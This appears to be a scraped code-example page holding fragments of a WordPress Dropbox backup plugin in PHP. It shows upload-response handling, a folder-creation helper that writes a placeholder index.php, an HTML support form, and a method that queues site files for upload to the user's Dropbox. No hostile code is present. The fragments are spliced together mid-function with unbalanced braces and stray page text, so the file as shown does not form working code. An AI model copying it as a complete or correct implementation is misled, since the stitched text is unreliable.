     if (isset($res['error']) && isset($res['text']) && $res['error'] == 1) {
         $context->setError(langWPADM::get('Dropbox returned an error during file sending: ', false) . '"' . $res['text'] . '"');
         return false;
     }
     if (isset($res['size']) && isset($res['client_mtime'])) {
         WPAdm_Core::log(langWPADM::get('File upload: ', false) . basename($files) . langWPADM::get(' size: ', false) . $res['size']);
         $this->saveDataCommand($fromFile);
     }
     return true;
 }
Esempio n. 17
0
 /**
  * Создаем папку
  * @param $dir
  */
 public static function mkdir($dir)
 {
     if (!file_exists($dir)) {
         @mkdir($dir, 0755);
         if (!is_dir($dir)) {
             self::$error = str_replace("&s", $dir, langWPADM::get('Failed to create a file, please check the permissions on the folders "&s".', false));
         } else {
             //todo: права доступа
             @file_put_contents($dir . '/index.php', '<?php echo "Hello World!"; ');
             if (!is_writable($dir . '/index.php')) {
                 self::$error = str_replace("&s", $dir, langWPADM::get('Failed to create a file, please check the permissions on the folders "&s".', false));
             }
         }
     }
     return self::$error;
 }
                                                        <div style=" ">
                                                            <input type="text" id="email-resp" value="<?php 
            echo get_option('admin_email');
            ?>
" style="padding-left:3px;" name="mail_response">
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="clear"></div>
                                                <div style="text-align: left; margin-left: 100px; margin-top: 10px;">
                                                    <input value="<?php 
            echo $time_log;
            ?>
" type="hidden" name="time_pars">
                                                    <input class="backup_button" style="font-size: 14px;font-weight: normal;padding: 3px;text-shadow: 0px;" type="submit" value="<?php 
            langWPADM::get('Send request to support');
            ?>
">
                                                </div>
                                            </form>

                                        </div>
                                    </td>
                                    <td colspan="3">
                                    </td>
                                    <?php 
        }
        ?>
                            </tr>
                            <?php 
    }
 public function getResult()
 {
     $errors = array();
     $this->id = uniqid('wpadm_method_send_to_dropbox_');
     $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
     $this->result->setError('');
     if (isset($this->params['local']) && $this->params['local']) {
         $params_data_cron = WPAdm_Running::getCommandResultData('local_backup');
         $this->params['files'] = $params_data_cron['data'];
         $this->params['access_details']['dir'] = $params_data_cron['name'];
         WPAdm_Core::log(langWPADM::get('', false));
     }
     $this->queue = new WPAdm_Queue($this->id);
     $ad = $this->params['access_details'];
     $this->queue->clear();
     $files = $this->params['files'];
     //$this->getResult()->setData($files);
     $dir = isset($ad['dir']) ? $ad['dir'] : '/';
     //$dir = trim($dir, '/') . '/' . $this->name;
     if (is_array($files)) {
         $send = false;
         foreach ($files as $file) {
             if (isset($this->params['local']) && $this->params['local']) {
                 $data_command = WPAdm_Running::getCommandResultData('command_dropbox');
                 $data_error_command = WPAdm_Running::getCommandResultData('errors_sending');
                 if (isset($data_error_command[ABSPATH . $file]) && $data_error_command[ABSPATH . $file]['count'] > WPADM_COUNT_LIMIT_SEND_TO_DROPBOX) {
                     $msg = langWPADM::get('Not perhaps sending file: "%file%". If you wish make upload file, increase execution time code or speed internet provider is small for upload file.', false, '%file%', $file);
                     WPAdm_Core::log($msg);
                     $errors[] = $msg;
                     break;
                 }
                 if (!empty($data_command) && in_array(ABSPATH . $file, $data_command)) {
                     continue;
                 }
             }
             $commandContext = new WPAdm_Command_Context();
             $commandContext->addParam('command', 'send_to_dropbox')->addParam('key', $ad['key'])->addParam('secret', $ad['secret'])->addParam('token', $ad['token'])->addParam('folder_project', $ad['folder'])->addParam('folder', $dir)->addParam('files', ABSPATH . $file);
             if (isset($this->params['local']) && $this->params['local']) {
                 $commandContext->addParam('local', true);
             }
             $this->queue->add($commandContext);
             unset($commandContext);
             $send = true;
         }
     }
     if ($send) {
         WPAdm_Core::log(langWPADM::get('Start copy to Dropbox Cloud', false));
         $res = $this->queue->save()->execute();
         WPAdm_Core::log(langWPADM::get('End Copy Files to Dropbox', false));
     }
     if (isset($res) && !$res) {
         WPAdm_Core::log(langWPADM::get('Answer from Dropbox ', false) . $this->queue->getError());
         $errors[] = langWPADM::get('Answer from Dropbox ', false) . $this->queue->getError();
     }
     if (count($errors) > 0) {
         $this->result->setError(implode("\n", $errors));
         $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
     } else {
         if (class_exists('wpadm_wp_full_backup_dropbox') && !file_exists(WPAdm_Core::getTmpDir() . "/notice-star")) {
             wpadm_wp_full_backup_dropbox::setFlagToTmp('notice-star', time() . "_1d");
         }
         if (isset($this->params['local']) && $this->params['local'] && isset($params_data_cron)) {
             $this->result->setData($this->params['files']);
             $this->result->setSize($params_data_cron['size']);
             $this->result->setValue('md5_data', md5(print_r($this->result->toArray(), 1)));
             $this->result->setValue('name', $params_data_cron['name']);
             $this->result->setValue('time', $params_data_cron['time']);
             $this->result->setValue('type', 'dropbox');
             $this->result->setValue('counts', $params_data_cron['counts']);
             WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . "/{$params_data_cron['name']}");
         }
     }
     return $this->result;
 }